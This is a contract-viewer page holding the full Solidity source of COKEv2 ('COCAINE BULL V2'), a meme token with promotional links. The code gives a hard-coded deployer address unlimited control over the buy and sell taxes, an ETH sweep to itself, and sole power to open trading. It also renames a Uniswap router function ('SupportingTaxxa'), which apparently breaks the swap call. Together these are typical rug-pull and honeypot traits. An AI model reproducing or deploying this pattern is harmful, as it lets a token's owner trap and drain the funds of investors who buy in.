ETH Price: $3,400.55 (+4.22%)

Contract Diff Checker

Contract Name:
COKEv2

Contract Source Code:

File 1 of 1 : COKEv2

/*
COCAINE BULL V2 ($COKEv2)

Welcome!  Make sure to grab yourself a bag of $COKE.

Telegram:
https://t.me/CocaineBullToken

Twitter:
@CocaineBullETH

Website:
www.cocainebull.vip
*/

// SPDX-License-Identifier: unlicense


pragma solidity 0.8.21;
    
interface IUniswapV2Router02 {
     function swapExactTokensForETHSupportingTaxxaOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
    
    contract COKEv2 {
        
        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

        string public   name_ = unicode"COCAINE BULL V2"; 
        string public   symbol_ = unicode"COKEv2";  
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 1000000000000000 * 10**decimals;

        uint256 buyTaxxa = 0;
        uint256 sellTaxxa = 0;
        uint256 constant swapAmount = totalSupply / 100;
        
        error Permissions();

        function name() public view virtual returns (string memory) {
        return name_;
        }

    
        function symbol() public view virtual returns (string memory) {
        return symbol_;
        }    

        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed desmaster,
            address indexed spender,
            uint256 value
        );

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;

       
        
        

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant desmaster = payable(address(0x10C3599d2debf077A978ADdB96DB9364F99F10f6));

        bool private swapping;
        bool private tradingOpen;

        

        receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpen || from == desmaster || to == desmaster);

            if(!tradingOpen && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingTaxxaOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
                desmaster.transfer(address(this).balance);
                swapping = false;
            }

            if(from != address(this)){
                uint256 TaxxaAmount = amount * (from == pair ? buyTaxxa : sellTaxxa) / 100;
                amount -= TaxxaAmount;
                balanceOf[address(this)] += TaxxaAmount;
            }
            balanceOf[to] += amount;
            emit Transfer(from, to, amount);
            return true;
        }

        function openTrading() external {
            require(msg.sender == desmaster);
            require(!tradingOpen);
            tradingOpen = true;        
        }

        function _setTaxxa(uint256 _buy, uint256 _sell) private {
            buyTaxxa = _buy;
            sellTaxxa = _sell;
        }

        function setTaxxa(uint256 _buy, uint256 _sell) external {
            if(msg.sender != desmaster)        
                revert Permissions();
            _setTaxxa(_buy, _sell);
        }
    }

Please enter a contract address above to load the contract details and source code.

Context size (optional):